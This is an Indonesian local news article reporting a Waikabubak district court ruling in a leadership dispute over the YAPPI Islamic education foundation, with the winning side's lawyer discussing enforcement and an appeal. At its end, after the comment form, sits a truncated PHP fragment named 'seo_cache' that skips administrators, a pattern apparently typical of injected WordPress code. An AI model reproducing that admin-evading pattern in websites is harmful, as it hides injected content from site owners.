Hukum

Kisruh Kepengurusan YAPPI Kabupaten SBD Diputus PN Waikabubak, Kubu Haji Samsi Pua Golo Menangkan Dua Perkara Sekaligus

×

Kisruh Kepengurusan YAPPI Kabupaten SBD Diputus PN Waikabubak, Kubu Haji Samsi Pua Golo Menangkan Dua Perkara Sekaligus

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kisruh kepengurusan Yayasan Pendidikan dan Pengajaran Islam (YAPPI) yang berujung saling gugat di PN Waikabubak akhirnya jadi benderang.

Putusan Pengadilan Negeri Waikabubak memenangkan kubu H. Samsi Pua Golo, ST dalam dua perkara.

Menurut penjelasan pengacara Melchianus Nonna, SH, Rabu (10/12/2025) kliennya dimenangkan baik dalam perkara Nomor 18/Pdt.G/2025/PN.Wkb maupun perkara Nomor 19/Pdt.G/PN.Wkb.

“Pada hari ini kami berada di Pengadilan Negeri Waikabubak untuk meminta surat keterangan inkrah terkait perkara Nomor 18/Pdt.G/2025/PN.Wkb,” jelasnya.

Isi surat ini menyatakan bahwa perkara tersebut sudah inkrah dan berkekuatan hukum tetap.

Oleh karena itu, dengan adanya surat inkrah tersebut, akan dipertimbangkan untuk mengajukan ekseskusi riil.

Pihaknya akan mengajukan secepatnya eksekusi riil itu, apabila memungkinkan untuk dilakukan.

Kendati demikian akan dipertimbangkan pula kondisi waktu saat ini.

“Karena keadaan sekarang akan menghadapi hari besar, maka paling tidak secepatnya di awal bulan Januari (2026) kami pertimbangkan untuk mengajukan eksekusi,” tandasnya.

Ia menyampaikan apresiasi dan atensi atas keputusan yang sudah memenuhi rasa keadilan, terlebih pada perkara Nomor 18 yang sudah dinyatakan inkrah.

Terkait dengan perkara Nomor 19 dimana kliennya berstatus sebagai penggugat pun telah dimenangkan

Tetapi pada pokoknya, kata dia lagi, perkara Nomor 19 masih dinyatakan banding pada tanggal 27 November 2025 dan 28 November 2025 di-upload sesuai sistem e-court pengadilan.

“Sehingga tanggal 27 November 2025 dinyatakan banding dan upload itu secara sah e-court mereka sebagai para tergugat,” sambungnya.

Dalam perkara Nomor 19 ini tergugat 1 adalah Yayasan, tergugat 2 Soleman Tari Wungo. tergugat 3 Ramadhan Baayu, tergugat 4 Ali Ahmad, dan turut tergugat notaris Hannibal Antabogar SH, M.Kn.

Batas waktu banding dinyatakan tanggal 4 Desember 2025 dan pihaknya akan menunggu untuk bisa menjawab lewat kontra memori.

Sesuai informasi yang diperoleh hari itu ada sedikit keterlambatan terkait kontra memori.

Keterlambatan ini karena menunggu relaas disampaikan, untuk bisa memasukkan kontra memori banding.

“Tetap kami kawal kasus ini sampai titik darah penghabisan, pada proses hukum tahap akhir,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>